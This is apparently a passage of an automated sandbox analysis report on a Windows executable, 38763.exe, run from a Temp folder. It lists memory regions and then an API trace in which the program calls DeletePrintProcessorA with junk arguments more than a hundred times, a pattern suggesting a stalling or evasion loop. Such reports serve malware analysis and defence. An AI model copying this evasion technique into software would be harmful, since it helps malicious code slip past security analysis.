filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")
Region:
id = 870
start_va = 0x220000
end_va = 0x220fff
entry_point = 0x220000
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 871
start_va = 0x230000
end_va = 0x231fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000230000"
filename = ""
Region:
id = 872
start_va = 0x220000
end_va = 0x220fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000220000"
filename = ""
Region:
id = 873
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x764623d2
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 874
start_va = 0x240000
end_va = 0x240fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000240000"
filename = ""
Region:
id = 875
start_va = 0x745b0000
end_va = 0x746a4fff
entry_point = 0x745c0d9e
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 876
start_va = 0x74460000
end_va = 0x74480fff
entry_point = 0x7446145e
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 877
start_va = 0x76140000
end_va = 0x76184fff
entry_point = 0x761411e1
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 878
start_va = 0x260000
end_va = 0x263fff
entry_point = 0x260000
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 879
start_va = 0x270000
end_va = 0x28ffff
entry_point = 0x270000
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db")
Region:
id = 880
start_va = 0x290000
end_va = 0x290fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000290000"
filename = ""
Region:
id = 881
start_va = 0x260000
end_va = 0x263fff
entry_point = 0x260000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 882
start_va = 0x3b0000
end_va = 0x3dffff
entry_point = 0x3b0000
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000f.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db")
Region:
id = 883
start_va = 0x2a0000
end_va = 0x2a3fff
entry_point = 0x2a0000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 884
start_va = 0x1950000
end_va = 0x19b5fff
entry_point = 0x1950000
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")
Region:
id = 885
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 886
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 887
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 888
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 889
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 890
start_va = 0x3e0000
end_va = 0x3e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 891
start_va = 0x75790000
end_va = 0x757a1fff
entry_point = 0x75791441
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 892
start_va = 0x759b0000
end_va = 0x759d6fff
entry_point = 0x759b58b9
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 893
start_va = 0x76190000
end_va = 0x7632cfff
entry_point = 0x761917e7
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")
Region:
id = 894
start_va = 0x3e0000
end_va = 0x3e6fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003e0000"
filename = ""
Region:
id = 895
start_va = 0x3f0000
end_va = 0x3f1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003f0000"
filename = ""
Region:
id = 896
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 897
start_va = 0x19c0000
end_va = 0x1db2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000019c0000"
filename = ""
Region:
id = 898
start_va = 0x1dc0000
end_va = 0x1ebffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001dc0000"
filename = ""
Region:
id = 899
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 900
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 901
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 902
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 903
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 904
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 905
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 906
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 907
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 908
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 909
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 910
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 911
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 912
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 913
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 914
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 915
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 916
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 917
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 918
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 919
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 920
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 921
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 922
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 923
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 924
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 925
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 926
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 927
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 928
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 929
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 930
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 931
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 932
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 933
start_va = 0x18b0000
end_va = 0x18b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000018b0000"
filename = ""
Region:
id = 934
start_va = 0x220000
end_va = 0x220fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000220000"
filename = ""
Region:
id = 935
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Thread:
id = 40
os_tid = 0xb78
[0057.378] GetCommandLineA () returned="\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\""
[0057.378] lstrlenA (lpString="\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\"") returned 48
[0057.378] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.384] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.384] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.384] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.385] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.386] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.389] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.389] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.390] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.391] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.392] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.393] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.394] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.395] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.396] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.397] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.398] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.399] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.400] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.401] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.402] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.403] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.404] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.405] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.405] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
